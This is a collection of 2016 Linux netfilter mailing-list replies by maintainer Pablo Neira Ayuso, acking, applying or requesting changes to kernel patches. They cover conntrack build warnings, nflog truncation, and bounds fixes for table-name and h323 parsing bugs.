On Tue, Jun 28, 2016 at 09:01:12AM -0400, David Miller wrote: > From: Joe Perches > Date: Fri, 24 Jun 2016 11:32:26 -0700 > > > There are code duplications of a masked ethernet address comparison here > > so make it a separate function instead. > > > > Miscellanea: > > > > o Neaten alignment of FWINV macro uses to make it clearer for the reader > > > > Signed-off-by: Joe Perches > > Pablo feel free to take this: > > Acked-by: David S. Miller Applied, thanks!
Re: [PATCH] bridge: netfilter: spanning tree: Add masked_ether_addr_equal and neatening
On Fri, Jun 24, 2016 at 10:51:28AM +0200, Pablo Neira Ayuso wrote: > On Thu, Jun 23, 2016 at 12:00:00PM -0700, Joe Perches wrote: > > On Thu, 2016-06-23 at 19:36 +0200, Pablo Neira Ayuso wrote: > > > On Wed, Jun 15, 2016 at 01:58:45PM -0700, Joe Perches wrote: > > > > > > > > There is code duplication of a masked ethernet address comparison here > > > > so make it a separate function instead. > > > > > > > > Miscellanea: > > > > > > > > o Neaten alignment of FWINV macro uses to make it clearer for the reader > > > Applied, thanks. > > > > > > > > > > > Signed-off-by: Joe Perches > > > > --- > > > > > > > > This masked_ether_addr_equal function could go into etherdevice.h, > > > > but I don't see another use like it in kernel code. Is there one? > > > > > > This is specific of iptables, not even nftables would use this. So I > > > would keep this in the iptables tree. > > > > Did you see the other patch that adds a generic > > ether_addr_equal_masked() and uses it in a few > > more files? > > You mean this one: > > http://patchwork.ozlabs.org/patch/636208/ > > OK, so I'll toss the previous and will take this one instead. > > As I said my opinion is that ether_addr_equal_masked() is only > required by netfilter, but thinking it well I don't really mind in > what header this function is placed given that these are our internal > headers. git am reports patch I get from patchwork is corrupt at line 37. Tried a couple of tricks to fix it but this didn't work. Would you mind resubmitting this patch? Sorry for the inconvenience.
Re: [PATCH] bridge: netfilter: spanning tree: Add masked_ether_addr_equal and neatening
On Thu, Jun 23, 2016 at 12:00:00PM -0700, Joe Perches wrote: > On Thu, 2016-06-23 at 19:36 +0200, Pablo Neira Ayuso wrote: > > On Wed, Jun 15, 2016 at 01:58:45PM -0700, Joe Perches wrote: > > > > > > There is code duplication of a masked ethernet address comparison here > > > so make it a separate function instead. > > > > > > Miscellanea: > > > > > > o Neaten alignment of FWINV macro uses to make it clearer for the reader > > Applied, thanks. > > > > > > > > Signed-off-by: Joe Perches > > > --- > > > > > > This masked_ether_addr_equal function could go into etherdevice.h, > > > but I don't see another use like it in kernel code. Is there one? > > > > This is specific of iptables, not even nftables would use this. So I > > would keep this in the iptables tree. > > Did you see the other patch that adds a generic > ether_addr_equal_masked() and uses it in a few > more files? You mean this one: http://patchwork.ozlabs.org/patch/636208/ OK, so I'll toss the previous and will take this one instead. As I said my opinion is that ether_addr_equal_masked() is only required by netfilter, but thinking it well I don't really mind in what header this function is placed given that these are our internal headers. Thanks.
Re: [PATCH v2 2/2] netfilter/nflog: nflog-range does not truncate packets (userspace)
On Tue, Jun 21, 2016 at 03:02:16PM -0400, Vishwanath Pai wrote: > netfilter/nflog: nflog-range does not truncate packets > > The option --nflog-range has never worked, but we cannot just fix this > because users might be using this feature option and their behavior would > change. Instead add a new option --nflog-size. This option works the same > way nflog-range should have, and both of them are mutually exclusive. When > someone uses --nflog-range we print a warning message informing them that > this feature has no effect. > > To indicate the kernel that the user has set --nflog-size we have to pass a > new flag XT_NFLOG_F_COPY_LEN. > > Also updated the man page to reflect this. Please, send me a v3 including tests, see: iptables/extensions/libxt_NFLOG.t Thanks.
Re: [PATCH] bridge: netfilter: spanning tree: Add masked_ether_addr_equal and neatening
On Wed, Jun 15, 2016 at 01:58:45PM -0700, Joe Perches wrote: > There is code duplication of a masked ethernet address comparison here > so make it a separate function instead. > > Miscellanea: > > o Neaten alignment of FWINV macro uses to make it clearer for the reader Applied, thanks. > Signed-off-by: Joe Perches > --- > > This masked_ether_addr_equal function could go into etherdevice.h, > but I don't see another use like it in kernel code. Is there one? This is specific of iptables, not even nftables would use this. So I would keep this in the iptables tree.
Re: [PATCH v2 1/2] netfilter/nflog: nflog-range does not truncate packets
On Tue, Jun 21, 2016 at 02:58:46PM -0400, Vishwanath Pai wrote: > netfilter/nflog: nflog-range does not truncate packets > > li->u.ulog.copy_len is currently ignored by the kernel, we should truncate > the packet to either li->u.ulog.copy_len (if set) or copy_range before > sending it to userspace. 0 is a valid input for copy_len, so add a new > flag to indicate whether this was option was specified by the user or not. > > Add two flags to indicate whether nflog-size/copy_len was set or not. > XT_NFLOG_F_COPY_LEN is for XT_NFLOG and NFLOG_F_COPY_LEN for nfnetlink_log > > On the userspace side, this was initially represented by the option > nflog-range, this will be replaced by --nflog-size now. --nflog-range would > still exist but does not do anything. Applied, thanks!
Re: [PATCH] gtp: #define _UAPI_LINUX_GTP_H_ and not _UAPI_LINUX_GTP_H__
On Mon, Jun 06, 2016 at 01:51:40PM +0100, Colin King wrote: > From: Colin Ian King > > Fix clang build warning: > > ./include/uapi/linux/gtp.h:1:9: warning: '_UAPI_LINUX_GTP_H_' is > used as a header guard here, followed by #define of a different > macro [-Wheader-guard] > > fix by defining _UAPI_LINUX_GTP_H_ and not _UAPI_LINUX_GTP_H__ > > Signed-off-by: Colin Ian King Acked-by: Pablo Neira Ayuso I don't see this in netdev's patchwork: http://patchwork.ozlabs.org/project/netdev/list/ So please, resubmit Cc'ing net...@vger.kernel.org. Thanks.
Re: [PATCH nf-next] netfilter: allow logging from non-init namespaces
Hi Michal,
On Wed, Apr 27, 2016 at 02:48:02PM +0200, Michal Kubecek wrote:
> Commit 69b34fb996b2 ("netfilter: xt_LOG: add net namespace support for
> xt_LOG") disabled logging packets using the LOG target from non-init
> namespaces. The motivation was to prevent containers from flooding
> kernel log of the host. The plan was to keep it that way until syslog
> namespace implementation allows containers to log in a safe way.
>
> However, the work on syslog namespace seems to have hit a dead end
> somewhere in 2013 and there are users who want to use xt_LOG in all
> network namespaces. This patch allows to do so by setting
I understand this stuff is tricky. Did you contact already namespace
folks to see if they plan any move on this?
> /proc/sys/net/netfilter/nf_log_all_netns
My only concern with this is that I don't see how users know what log
message has triggered from what container.
Thanks!
Re: [PATCH v2] uapi glibc compat: fix compile errors when glibc net/if.h included before linux/if.h
On Mon, May 09, 2016 at 09:59:22AM -0400, Josh Boyer wrote: > On Sun, Apr 24, 2016 at 11:45 AM, Mikko Rapeli wrote: > > glibc's net/if.h contains copies of definitions from linux/if.h and these > > conflict and cause build failures if both files are included by application > > source code. Changes in uapi headers, which fixed header file dependencies > > to > > include linux/if.h when it was needed, e.g. commit 1ffad83d, made the > > net/if.h and linux/if.h incompatibilities visible as build failures for > > userspace applications like iproute2 and xtables-addons. > > > > This patch fixes compile errors when glibc net/if.h is included before > > linux/if.h: > > > > ./linux/if.h:99:21: error: redeclaration of enumerator ‘IFF_NOARP’ [...] > > > > The cases where linux/if.h is included before net/if.h need a similar fix in > > the glibc side, or the order of include files can be changed userspace > > code as a workaround. > > > > This change was tested in x86 userspace on Debian unstable with > > scripts/headers_compile_test.sh: > > > > $ make headers_install && \ > > cd usr/include && ../../scripts/headers_compile_test.sh -l -k > > ... > > cc -Wall -c -nostdinc -I /usr/lib/gcc/i586-linux-gnu/5/include -I > > /usr/lib/gcc/i586-linux-gnu/5/include-fixed -I . -I > > /home/mcfrisk/src/linux-2.6/usr/headers_compile_test_include.2uX2zH -I > > /home/mcfrisk/src/linux-2.6/usr/headers_compile_test_include.2uX2zH/i586-linux-gnu > > -o /dev/null ./linux/if.h_libc_before_kernel.h > > PASSED libc before kernel test: ./linux/if.h > > > > Reported-by: Jan Engelhardt > > Reported-by: Josh Boyer > > Reported-by: Stephen Hemminger > > Reported-by: Waldemar Brodkorb > > Cc: Gabriel Laskar > > Signed-off-by: Mikko Rapeli > > Bump. Did this get lost in a queue somewhere? It seems linux-netdev was not Cc'ed. I cannot find this in David's patchwork [1]. @Mikko: Could you resubmit including net...@vger.kernel.org? Thanks. [1] http://patchwork.ozlabs.org/project/netdev/list/.
Re: [PATCH] netfilter: conntrack: remove uninitialized shadow variable
On Mon, May 09, 2016 at 09:47:23PM +0200, Arnd Bergmann wrote: > A recent commit introduced an unconditional use of an uninitialized > variable, as reported in this gcc warning: > > net/netfilter/nf_conntrack_core.c: In function '__nf_conntrack_confirm': > net/netfilter/nf_conntrack_core.c:632:33: error: 'ctinfo' may be used > uninitialized in this function [-Werror=maybe-uninitialized] >bytes = atomic64_read(&counter[CTINFO2DIR(ctinfo)].bytes); > ^ > net/netfilter/nf_conntrack_core.c:628:26: note: 'ctinfo' was declared here >enum ip_conntrack_info ctinfo; > > The problem is that a local variable shadows the function parameter. > This removes the local variable, which looks like what Pablo originally > intended. Acked-by: Pablo Neira Ayuso Sorry for this, I wonder why gcc didn't catch up this here. @David, you can integrate this into your net-next tree. Thanks for fixing up this Arnd.
Re: [PATCH] netfilter: ctnetlink: add more #ifdef around unused code
On Mon, Apr 18, 2016 at 10:04:43PM +0200, Arnd Bergmann wrote: > On Monday 18 April 2016 20:43:36 Pablo Neira Ayuso wrote: > > On Mon, Apr 18, 2016 at 08:33:15PM +0200, Arnd Bergmann wrote: > > > On Monday 18 April 2016 20:16:59 Pablo Neira Ayuso wrote: > > > > On Sat, Apr 16, 2016 at 10:17:43PM +0200, Arnd Bergmann wrote: > > > > > A recent patch removed many 'inline' annotations for static > > > > > functions in this file, which has caused warnings for functions > > > > > that are not used in a given configuration, in particular when > > > > > CONFIG_NF_CONNTRACK_EVENTS is disabled: > > > > > > > > > > nf_conntrack_netlink.c:572:15: 'ctnetlink_timestamp_size' defined but > > > > > not used > > > > > nf_conntrack_netlink.c:546:15: 'ctnetlink_acct_size' defined but not > > > > > used > > > > > nf_conntrack_netlink.c:339:12: 'ctnetlink_label_size' defined but not > > > > > used > > > > > > > > Arnd, thanks for the fix. > > > > > > > > I'm planning to push this though: > > > > > > > > http://patchwork.ozlabs.org/patch/610820/ > > > > > > > > This is restoring the inlines for the size calculation functions, but > > > > I think that's ok. They are rather small and they're called from the > > > > event notification path (ie. packet path), so the compiler just place > > > > them out of the way when not needed and we calm down the gcc warning. > > > > > > Looks good. I'll put this in my randconfig builder to replace my own > > > patch and will let you know if you missed something. > > > > Thanks, will wait for your ack then. > > 100 clean randconfig builds later, looks good to me. > > Acked-by: Arnd Bergmann Thanks! I have applied this to nf-next.
Re: [PATCH] netfilter: ctnetlink: add more #ifdef around unused code
On Mon, Apr 18, 2016 at 08:33:15PM +0200, Arnd Bergmann wrote: > On Monday 18 April 2016 20:16:59 Pablo Neira Ayuso wrote: > > On Sat, Apr 16, 2016 at 10:17:43PM +0200, Arnd Bergmann wrote: > > > A recent patch removed many 'inline' annotations for static > > > functions in this file, which has caused warnings for functions > > > that are not used in a given configuration, in particular when > > > CONFIG_NF_CONNTRACK_EVENTS is disabled: > > > > > > nf_conntrack_netlink.c:572:15: 'ctnetlink_timestamp_size' defined but not > > > used > > > nf_conntrack_netlink.c:546:15: 'ctnetlink_acct_size' defined but not used > > > nf_conntrack_netlink.c:339:12: 'ctnetlink_label_size' defined but not used > > > > Arnd, thanks for the fix. > > > > I'm planning to push this though: > > > > http://patchwork.ozlabs.org/patch/610820/ > > > > This is restoring the inlines for the size calculation functions, but > > I think that's ok. They are rather small and they're called from the > > event notification path (ie. packet path), so the compiler just place > > them out of the way when not needed and we calm down the gcc warning. > > Looks good. I'll put this in my randconfig builder to replace my own > patch and will let you know if you missed something. Thanks, will wait for your ack then.
Re: [PATCH] netfilter: ctnetlink: add more #ifdef around unused code
On Sat, Apr 16, 2016 at 10:17:43PM +0200, Arnd Bergmann wrote: > A recent patch removed many 'inline' annotations for static > functions in this file, which has caused warnings for functions > that are not used in a given configuration, in particular when > CONFIG_NF_CONNTRACK_EVENTS is disabled: > > nf_conntrack_netlink.c:572:15: 'ctnetlink_timestamp_size' defined but not used > nf_conntrack_netlink.c:546:15: 'ctnetlink_acct_size' defined but not used > nf_conntrack_netlink.c:339:12: 'ctnetlink_label_size' defined but not used Arnd, thanks for the fix. I'm planning to push this though: http://patchwork.ozlabs.org/patch/610820/ This is restoring the inlines for the size calculation functions, but I think that's ok. They are rather small and they're called from the event notification path (ie. packet path), so the compiler just place them out of the way when not needed and we calm down the gcc warning. Thanks!
Re: linux-next: build warning after merge of the ipvs-next tree
On Fri, Apr 15, 2016 at 10:38:14PM +1000, Simon Horman wrote:
> On Fri, Apr 15, 2016 at 11:56:07AM +0200, Pablo Neira Ayuso wrote:
> > On Fri, Apr 15, 2016 at 10:57:48AM +1000, Stephen Rothwell wrote:
> > > Hi Simon,
> > >
> > > After merging the ipvs-next tree, today's linux-next build (powerpc
> > > ppc64_defconfig) produced this warning:
> > >
> > > net/netfilter/nf_conntrack_netlink.c:529:15: warning:
> > > 'ctnetlink_proto_size' defined but not used [-Wunused-function]
> > > static size_t ctnetlink_proto_size(const struct nf_conn *ct)
> > >^
> > > net/netfilter/nf_conntrack_netlink.c:546:15: warning:
> > > 'ctnetlink_acct_size' defined but not used [-Wunused-function]
> > > static size_t ctnetlink_acct_size(const struct nf_conn *ct)
> > >^
> > > net/netfilter/nf_conntrack_netlink.c:556:12: warning:
> > > 'ctnetlink_secctx_size' defined but not used [-Wunused-function]
> > > static int ctnetlink_secctx_size(const struct nf_conn *ct)
> > > ^
> > > net/netfilter/nf_conntrack_netlink.c:572:15: warning:
> > > 'ctnetlink_timestamp_size' defined but not used [-Wunused-function]
> > > static size_t ctnetlink_timestamp_size(const struct nf_conn *ct)
> > >^
> > > Introduced by commit
> > >
> > > 4054ff45454a ("netfilter: ctnetlink: remove unnecessary inlining")
> > >
> > > This build does not set CONFIG_NF_CONNTRACK_EVENTS or
> > > CONFIG_NETFILTER_NETLINK_GLUE_CT.
> >
> > This is my fault, will fix this asap. Thanks for reporting.
>
> Pablo,
>
> can you let me know when it is fixed in nf-next so I can rebase ipvs-next
> accordingly?
No need to rebase, will push an incremental fix for this.
Re: linux-next: build warning after merge of the ipvs-next tree
On Fri, Apr 15, 2016 at 10:57:48AM +1000, Stephen Rothwell wrote:
> Hi Simon,
>
> After merging the ipvs-next tree, today's linux-next build (powerpc
> ppc64_defconfig) produced this warning:
>
> net/netfilter/nf_conntrack_netlink.c:529:15: warning: 'ctnetlink_proto_size'
> defined but not used [-Wunused-function]
> static size_t ctnetlink_proto_size(const struct nf_conn *ct)
>^
> net/netfilter/nf_conntrack_netlink.c:546:15: warning: 'ctnetlink_acct_size'
> defined but not used [-Wunused-function]
> static size_t ctnetlink_acct_size(const struct nf_conn *ct)
>^
> net/netfilter/nf_conntrack_netlink.c:556:12: warning: 'ctnetlink_secctx_size'
> defined but not used [-Wunused-function]
> static int ctnetlink_secctx_size(const struct nf_conn *ct)
> ^
> net/netfilter/nf_conntrack_netlink.c:572:15: warning:
> 'ctnetlink_timestamp_size' defined but not used [-Wunused-function]
> static size_t ctnetlink_timestamp_size(const struct nf_conn *ct)
>^
> Introduced by commit
>
> 4054ff45454a ("netfilter: ctnetlink: remove unnecessary inlining")
>
> This build does not set CONFIG_NF_CONNTRACK_EVENTS or
> CONFIG_NETFILTER_NETLINK_GLUE_CT.
This is my fault, will fix this asap. Thanks for reporting.
Re: [netfilter-core] [PATCH] netfilter: unnecessary to check whether ip6_route_output() returns NULL
On Sun, Apr 03, 2016 at 10:03:33PM +0800, Haishuang Yan wrote: > ip6_route_output() never returns NULL, so it is not appropriate to > check if the return value is NULL. Applied, thanks.
Re: net/sctp: stack-out-of-bounds in sctp_getsockopt
On Thu, Mar 24, 2016 at 12:42:43AM +0800, Baozeng wrote:
> 2016-03-22 23:27 GMT+08:00 Eric Dumazet :
> > Untested patch would be :
> >
> > diff --git a/net/bridge/netfilter/ebtables.c
> > b/net/bridge/netfilter/ebtables.c
> > index 67b2e27999aa..fceb7354d169 100644
> > --- a/net/bridge/netfilter/ebtables.c
> > +++ b/net/bridge/netfilter/ebtables.c
> > @@ -346,7 +346,7 @@ find_inlist_lock(struct list_head *head, const char
> > *name, const char *prefix,
> > {
> > return try_then_request_module(
> > find_inlist_lock_noload(head, name, error, mutex),
> > - "%s%s", prefix, name);
> > + "%.*s%s", EBT_TABLE_MAXNAMELEN, prefix, name);
> > }
> >
> > static inline struct ebt_table *
> >
> >
>
> Thanks for your quick patch. I tested it but it still reproduce the
> bug. We should limit the length of the name,
> not the prefix. The following patch fixs it.
Could you give a try to this patch? Thanks.
diff --git a/net/bridge/netfilter/ebtables.c b/net/bridge/netfilter/ebtables.c
index 67b2e27..1e3a707 100644
--- a/net/bridge/netfilter/ebtables.c
+++ b/net/bridge/netfilter/ebtables.c
@@ -1521,6 +1521,8 @@ static int do_ebt_get_ctl(struct sock *sk, int cmd, void __user *user, int *len)
if (copy_from_user(&tmp, user, sizeof(tmp)))
return -EFAULT;
+ tmp.name[sizeof(tmp.name) - 1] = '\0';
+
t = find_table_lock(net, tmp.name, &ret, &ebt_mutex);
if (!t)
return ret;
diff --git a/net/ipv4/netfilter/arp_tables.c b/net/ipv4/netfilter/arp_tables.c
index a2002ff..06e9fb7 100644
--- a/net/ipv4/netfilter/arp_tables.c
+++ b/net/ipv4/netfilter/arp_tables.c
@@ -960,6 +960,7 @@ static int get_entries(struct net *net, struct arpt_get_entries __user *uptr,
sizeof(struct arpt_get_entries) + get.size);
return -EINVAL;
}
+ get.name[sizeof(get.name) - 1] = '\0';
t = xt_find_table_lock(net, NFPROTO_ARP, get.name);
if (!IS_ERR_OR_NULL(t)) {
@@ -1654,6 +1655,7 @@ static int compat_get_entries(struct net *net,
*len, sizeof(get) + get.size);
return -EINVAL;
}
+ get.name[sizeof(get.name) - 1] = '\0';
xt_compat_lock(NFPROTO_ARP);
t = xt_find_table_lock(net, NFPROTO_ARP, get.name);
diff --git a/net/ipv4/netfilter/ip_tables.c b/net/ipv4/netfilter/ip_tables.c
index 45b1d97..4642dc2 100644
--- a/net/ipv4/netfilter/ip_tables.c
+++ b/net/ipv4/netfilter/ip_tables.c
@@ -1146,6 +1146,7 @@ get_entries(struct net *net, struct ipt_get_entries __user *uptr,
*len, sizeof(get) + get.size);
return -EINVAL;
}
+ get.name[sizeof(get.name) - 1] = '\0';
t = xt_find_table_lock(net, AF_INET, get.name);
if (!IS_ERR_OR_NULL(t)) {
@@ -1925,6 +1926,7 @@ compat_get_entries(struct net *net, struct compat_ipt_get_entries __user *uptr,
*len, sizeof(get) + get.size);
return -EINVAL;
}
+ get.name[sizeof(get.name) - 1] = '\0';
xt_compat_lock(AF_INET);
t = xt_find_table_lock(net, AF_INET, get.name);
diff --git a/net/ipv6/netfilter/ip6_tables.c b/net/ipv6/netfilter/ip6_tables.c
index 85c0942..db47815 100644
--- a/net/ipv6/netfilter/ip6_tables.c
+++ b/net/ipv6/netfilter/ip6_tables.c
@@ -1158,6 +1158,7 @@ get_entries(struct net *net, struct ip6t_get_entries __user *uptr,
*len, sizeof(get) + get.size);
return -EINVAL;
}
+ get.name[sizeof(get.name) - 1] = '\0';
t = xt_find_table_lock(net, AF_INET6, get.name);
if (!IS_ERR_OR_NULL(t)) {
@@ -1934,6 +1935,7 @@ compat_get_entries(struct net *net, struct compat_ip6t_get_entries __user *uptr,
*len, sizeof(get) + get.size);
return -EINVAL;
}
+ get.name[sizeof(get.name) - 1] = '\0';
xt_compat_lock(AF_INET6);
t = xt_find_table_lock(net, AF_INET6, get.name);
Re: [PATCH v2] openvswitch: call only into reachable nf-nat code
On Fri, Mar 18, 2016 at 02:33:45PM +0100, Arnd Bergmann wrote: > The openvswitch code has gained support for calling into the > nf-nat-ipv4/ipv6 modules, however those can be loadable modules > in a configuration in which openvswitch is built-in, leading > to link errors: > > net/built-in.o: In function `__ovs_ct_lookup': > :(.text+0x2cc2c8): undefined reference to `nf_nat_icmp_reply_translation' > :(.text+0x2cc66c): undefined reference to `nf_nat_icmpv6_reply_translation' > > The dependency on (!NF_NAT || NF_NAT) prevents similar issues, > but NF_NAT is set to 'y' if any of the symbols selecting > it are built-in, but the link error happens when any of them > are modular. > > A second issue is that even if CONFIG_NF_NAT_IPV6 is built-in, > CONFIG_NF_NAT_IPV4 might be completely disabled. This is unlikely > to be useful in practice, but the driver currently only handles > IPv6 being optional. > > This patch improves the Kconfig dependency so that openvswitch > cannot be built-in if either of the two other symbols are set > to 'm', and it replaces the incorrect #ifdef in ovs_ct_nat_execute() > with two "if (IS_ENABLED())" checks that should catch all corner > cases also make the code more readable. > > The same #ifdef exists ovs_ct_nat_to_attr(), where it does not > cause a link error, but for consistency I'm changing it the same > way. Applied, thanks Arnd.
Re: [PATCH] openvswitch: call only into reachable nf-nat code
On Wed, Mar 16, 2016 at 01:47:13PM +0100, Arnd Bergmann wrote:
> The openvswitch code has gained support for calling into the
> nf-nat-ipv4/ipv6 modules, however those can be loadable modules
> in a configuration in which openvswitch is built-in, leading
> to link errors:
>
> net/built-in.o: In function `__ovs_ct_lookup':
> :(.text+0x2cc2c8): undefined reference to `nf_nat_icmp_reply_translation'
> :(.text+0x2cc66c): undefined reference to `nf_nat_icmpv6_reply_translation'
>
> The dependency on (!NF_NAT || NF_NAT) was meant to prevent
> this, but NF_NAT is set to 'y' if any of the symbols selecting
> it are built-in, but the link error happens when any of them
> are modular.
>
> A second issue is that even if CONFIG_NF_NAT_IPV6 is built-in,
> CONFIG_NF_NAT_IPV4 might be completely disabled. This is unlikely
> to be useful in practice, but the driver currently only handles
> IPv6 being optional.
>
> This patch improves the Kconfig dependency so that openvswitch
> cannot be built-in if either of the two other symbols are set
> to 'm', and it replaces the incorrect #ifdef in ovs_ct_nat_execute()
> with two "if (IS_ENABLED())" checks that should catch all corner
> cases also make the code more readable.
>
> The same #ifdef exists ovs_ct_nat_to_attr(), where it does not
> cause a link error, but for consistency I'm changing it the same
> way.
>
> Signed-off-by: Arnd Bergmann
> Fixes: 05752523e565 ("openvswitch: Interface with NAT.")
> ---
> net/openvswitch/Kconfig | 3 ++-
> net/openvswitch/conntrack.c | 16
> 2 files changed, 10 insertions(+), 9 deletions(-)
>
> diff --git a/net/openvswitch/Kconfig b/net/openvswitch/Kconfig
> index 234a73344c6e..961fb60115df 100644
> --- a/net/openvswitch/Kconfig
> +++ b/net/openvswitch/Kconfig
> @@ -7,7 +7,8 @@ config OPENVSWITCH
> depends on INET
> depends on !NF_CONNTRACK || \
> (NF_CONNTRACK && ((!NF_DEFRAG_IPV6 || NF_DEFRAG_IPV6) && \
> - (!NF_NAT || NF_NAT)))
> + (!NF_NAT_IPV4 || NF_NAT_IPV4) && \
> + (!NF_NAT_IPV6 || NF_NAT_IPV6)))
Not related with this patch, just a side note/recommendation.
I understand this code just got into tree, and that this needs a bit
work/iterations but this thing above is ugly, I wonder if there is a
better way to avoid this.
Probably with some modularization of the openvswitch code this will
look better, I mean:
1) adding Kconfig switches to enable conntrack and NAT support to
net/openvswitch/Kconfig.
2) Move the NAT code to the corresponding openvswitch/nat.c file.
Just my two cents.
Re: [PATCH] netfilter: nf_conntrack: consolidate lock/unlock into unlock_wait
On Mon, Mar 14, 2016 at 12:39:02PM +0100, Nicholas Mc Guire wrote: > The spin_lock()/spin_unlock() is synchronizing on the > nf_conntrack_locks_all_lock which is equivalent to > spin_unlock_wait() but the later should be more efficient. Applied, thanks.
Re: [PATCH V7] netfilter: h323: avoid potential attack
On Sun, Feb 21, 2016 at 12:03:59AM +0800, Zhouyi Zhou wrote:
> I think hackers chould build a malicious h323 packet to overflow
> the pointer p which will panic during the memcpy(addr, p, len)
> For example, he may fabricate a very large taddr->ipAddress.ip in
> function get_h225_addr.
>
> To avoid above, I add buffer boundary checking both in get addr
> functions and set addr functions.
>
> Because the temporary h323 buffer is dynamiclly allocated, I remove
> the h323 spin lock in my patch.
>
> Signed-off-by: Zhouyi Zhou
> ---
> include/linux/netfilter/nf_conntrack_h323.h | 17 +-
> net/ipv4/netfilter/nf_nat_h323.c| 33 ++-
> net/netfilter/nf_conntrack_h323_main.c | 328
> +---
> 3 files changed, 244 insertions(+), 134 deletions(-)
>
> diff --git a/include/linux/netfilter/nf_conntrack_h323.h
> b/include/linux/netfilter/nf_conntrack_h323.h
> index 858d9b2..6c6fea1 100644
> --- a/include/linux/netfilter/nf_conntrack_h323.h
> +++ b/include/linux/netfilter/nf_conntrack_h323.h
> @@ -27,11 +27,17 @@ struct nf_ct_h323_master {
> };
> };
>
> +struct h323_ct_state {
> + unsigned char *buf;
> + unsigned char *data;
> + int buflen;
> +};
> +
> struct nf_conn;
>
> int get_h225_addr(struct nf_conn *ct, unsigned char *data,
> TransportAddress *taddr, union nf_inet_addr *addr,
> - __be16 *port);
> + __be16 *port, struct h323_ct_state *ctstate);
> void nf_conntrack_h245_expect(struct nf_conn *new,
> struct nf_conntrack_expect *this);
> void nf_conntrack_q931_expect(struct nf_conn *new,
> @@ -50,12 +56,14 @@ extern int (*set_sig_addr_hook) (struct sk_buff *skb,
>struct nf_conn *ct,
>enum ip_conntrack_info ctinfo,
>unsigned int protoff, unsigned char **data,
> - TransportAddress *taddr, int count);
> + TransportAddress *taddr, int count,
> + struct h323_ct_state *ctstate);
> extern int (*set_ras_addr_hook) (struct sk_buff *skb,
>struct nf_conn *ct,
>enum ip_conntrack_info ctinfo,
>unsigned int protoff, unsigned char **data,
> - TransportAddress *taddr, int count);
> + TransportAddress *taddr, int count,
> + struct h323_ct_state *ctstate);
> extern int (*nat_rtp_rtcp_hook) (struct sk_buff *skb,
>struct nf_conn *ct,
>enum ip_conntrack_info ctinfo,
> @@ -90,7 +98,8 @@ extern int (*nat_q931_hook) (struct sk_buff *skb, struct
> nf_conn *ct,
>unsigned int protoff,
>unsigned char **data, TransportAddress *taddr,
>int idx, __be16 port,
> - struct nf_conntrack_expect *exp);
> + struct nf_conntrack_expect *exp,
> + struct h323_ct_state *ctstate);
>
> #endif
>
> diff --git a/net/ipv4/netfilter/nf_nat_h323.c
> b/net/ipv4/netfilter/nf_nat_h323.c
> index 574f7eb..5ed2d70 100644
> --- a/net/ipv4/netfilter/nf_nat_h323.c
> +++ b/net/ipv4/netfilter/nf_nat_h323.c
> @@ -33,12 +33,20 @@ static int set_addr(struct sk_buff *skb, unsigned int
> protoff,
> } __attribute__ ((__packed__)) buf;
> const struct tcphdr *th;
> struct tcphdr _tcph;
> + int datalen;
> + struct iphdr *iph = ip_hdr(skb);
>
> buf.ip = ip;
> buf.port = port;
> addroff += dataoff;
>
> if (ip_hdr(skb)->protocol == IPPROTO_TCP) {
> + th = (void *)iph + iph->ihl * 4;
> + datalen = skb->len - (iph->ihl * 4 + th->doff * 4);
You cannot trust the information that is available in the header. If
this is bogus this check will be defeated. That's why we pass this
protoff parameters to each function.
You also refer to get_h225_addr() in your description. That function
always copies 4 or 16 bytes, so I would appreciate if you can describe
the possible issue further.
Thanks.
Re: userns, netns, and quick physical memory consumption by unprivileged user
On Fri, Mar 11, 2016 at 04:34:06PM +0100, Florian Westphal wrote: > Yuriy M. Kaminskiy wrote: > > BTW, all those hash/conntrack/etc default sizes was calculated from > > physical memory size in assumption there will be only *one* instance of > > those tables. Obviously, introduction of network namespaces (and > > especially unprivileged user-ns) thrown this assumption in the window > > (and here comes that "falling back to vmalloc" message again; in pre-netns > > world, those tables were allocated *once* on early system startup, with > > typically plenty of free and unfragmented memory). > > No idea how to fix this expect by removing conntrack support in net > namespaces completely. > > I'd disallow all write accesses to skb->nfct (NAT, CONNMARK, > CONNSECMARK, ...) and then no longer clear skb->nfct when forwarding > packet from init_ns to container. > > Containers could then still test conntrack as seen from init namespace pov > in PREROUTING/FORWARD/INPUT (but not OUTPUT, obviously). > > [ OUTPUT *might* be doable as well by allowing NEW creation in output > but skipping nat and deferring the confirmation/commit of the new > entry to the table until skb leaves initns ] > > We could key conntrack entries to initns conntrack table > instead of adding one new table per netns, but seems like this only > replaces one problem with a new one (filling/blocking initns table from > another netns). We can add a global perns limit in terms of conntrack entries that can only be set via CAP_NET_ADMIN from the initns. Thus, we avoid the filling/blocking from another netns, or hide this knob to unpriviledged userns somehow. In the previous netfilter workshop I remember we agreed on going towards having a single conntrack table for netns, so I suggest we follow that direction.
Re: [PATCH nf-next] netfilter: nf_defrag_ipv4: Drop redundant ip_send_check()
On Wed, Feb 03, 2016 at 10:00:10AM -0800, Joe Stringer wrote:
> Since commit 0848f6428ba3 ("inet: frags: fix defragmented packet's IP
> header for af_packet"), ip_send_check() would be called twice for
> defragmentation that occurs from netfilter ipv4 defrag hooks. Remove the
> extra call.
Applied, thanks Joe.
Re: [PATCH] netfilter: xt_osf: remove unused variable
On Tue, Feb 23, 2016 at 01:40:10PM +0530, Sudip Mukherjee wrote: > While building with W=1 we got the warning: > net/netfilter/xt_osf.c:265:9: warning: variable 'loop_cont' set but not used > > The local variable loop_cont was only initialized and then assigned a > value but was never used or checked after that. > While removing the variable, the case of OSFOPT_TS was not removed so > that it will serve as a reminder to us that we can do something in that > particular case. Applied, thanks.
Re: [PATCH V6] netfilter: h323: avoid potential attack
On Tue, Feb 02, 2016 at 09:40:04PM +0800, Zhouyi Zhou wrote:
> diff --git a/net/netfilter/nf_conntrack_h323_main.c
> b/net/netfilter/nf_conntrack_h323_main.c
> index 9511af0..8d24c4b 100644
> --- a/net/netfilter/nf_conntrack_h323_main.c
> +++ b/net/netfilter/nf_conntrack_h323_main.c
> @@ -110,6 +110,21 @@ int (*nat_q931_hook) (struct sk_buff *skb,
>
> static DEFINE_SPINLOCK(nf_h323_lock);
> static char *h323_buffer;
> +static int h323_buffer_valid_bytes;
> +
> +static bool h323_buffer_ref_valid(void *p, int len)
I'd rather see you pass a parameter to this function with the
remaining size in the buffer, so we don't need this global variable
h323_buffer_valid_bytes.
You can probably add an initial patch to add a structure to store the
state information so we reduce the function parameter footprint.
struct h323_ct_state {
...
int buflen;
};
So you pass up the h323_ct_state structure to function calls,
something like that.
Thanks.
> +{
